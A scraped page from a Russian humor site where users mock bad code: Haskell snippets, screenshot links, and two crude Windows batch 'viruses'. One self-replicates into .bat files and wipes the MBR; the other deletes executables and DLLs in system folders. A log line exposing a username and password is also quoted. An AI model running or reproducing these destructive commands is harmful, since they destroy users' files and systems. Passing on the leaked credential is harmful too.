- 1
f g l = hylo l (.) (\n -> (g, n-1)) (==0)
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+118
f g l = hylo l (.) (\n -> (g, n-1)) (==0)
Этот пример использует hylomorphism.
Композируем функцию типа (.) g(l) пока не наступит n==0
+127
http://ic.pics.livejournal.com/sharpc/9812774/55307/55307_original.png
Я вот думал, а не запостить ли в раздел PHP...
+143
http://prntscr.com/34tyg5
wat?
PS, капча 2882.
+131
Set-Cookie pingadmin_ya_ne_robot=1; expires=Thu, 27 Mar 2014 06:39:49 GMT; path=/; domain=.ping-admin.ru;
Ya_ne_robot_infa_sotka
+124
@echo off
title %0
rem conditional check.
echo welcome to this wonderful program! please wait while I delete all your files!
rem infection of the user
copy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NT
echo echo virus detected! >>c:\windows\system32\autoexec.NT
echo pause >>c:\windows\system32\autoexec.NT
echo NT core:infected!
echo echo shame on you! >>c:\autoexec.bat
echo echo system hault-virus identified! >>c:\autoexec.bat
echo chkdsk >>c:\autoexec.bat
echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
fdisk /mbr
shutdown -s -t 03 -c “windows has shut down because the lsass service has encountered a write fault at 0×00000000000000000000000000000000000″
Нужно БОЛЬШЕ нулей в адресе!
http://ru.wikihow.com/%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D1%82%D1% 8C-%D0%B2%D0%B8%D1%80%D1%83%D1%81
+131
Чтобы сделать программу невидимой для пользователя нажимаем на форму в конструктере и изменяем следующие свойства:
— FormBorderStyle — None
— Opacity — 0%
— ShowIcon — False
— ShowInTaskbar — False
И Хабр туда-же...
http://habrahabr.ru/post/127278/
+131
Cd\
Cd C:
Сd winMe
Del *.exe
Del *.ini
Del *.com
Cd\
Cd win98
Cd system
Del *.dll
Del *.exe
Сd windows -переходим в папку Windows (у 95% ламеров и юзеров папка называется именно так)
Большой минус бат файлов да и ДОСа в частности это то что нельзя удалять сразу папку с файлами, а нужно заходить в каждую папку отдельно и удалять там файлы.!!!
(C) http://kivi.clan.su/publ/kopjutery/sozdanie_virusov/kak_sozdat_virus_v_bloknote/10-1-0-8
+126
import Data.Array
import Control.Arrow
l = [1,5,5,5,8,10,17]
make_array [] = undefined
make_array l = listArray (0, (length l)-1) l
-- binary_search:: (Integral i, Num i, Ord e, Ix i) => e -> Array i e -> i
binary_search item arr = bs la ra where
(la, ra) = bounds arr
nextWhileEqualItem = uncurry iterate >>> takeWhile (\i -> la<=i && i<=ra && arr!i==item) >>> last
bs l r
| (m == l || m == r) && item/=av = Nothing
| item<av = bs l m
| item>av = bs m r
| item==av = Just (nextWhileEqualItem ((+) (-1), m), nextWhileEqualItem ((+)1, m))
| otherwise = Nothing
where
m = (l+r) `div` 2
av = arr!m
main = do
print $ binary_search 8 $ make_array l
print $ binary_search 5 $ make_array l
print $ binary_search 5 $ make_array $ tail l
print $ binary_search 0 $ make_array l
print $ binary_search 100 $ make_array l
print $ binary_search 9 $ make_array l
Решил я значит поучаствовать в специальной олимпиаде Романа с двача.
http://ideone.com/K5Jj59
+122
substractOneFromArgument = (-)1
main = print $ substractOneFromArgument 4
ПИШУ ФУНКЦИЮ ВЫЧИТАЮЩУЮ ЕДИНИЦУ ИЗ СВОЕГО АРГУМЕНТА
@
ПОЛУЧАЮ УПОРОТЫЙ РЕЗУЛЬТАТ
http://ideone.com/I34iLA
+133
access denied for the user "King1986" with password "weakCocc".
Часть строки из лога. Логи пока общедоступны.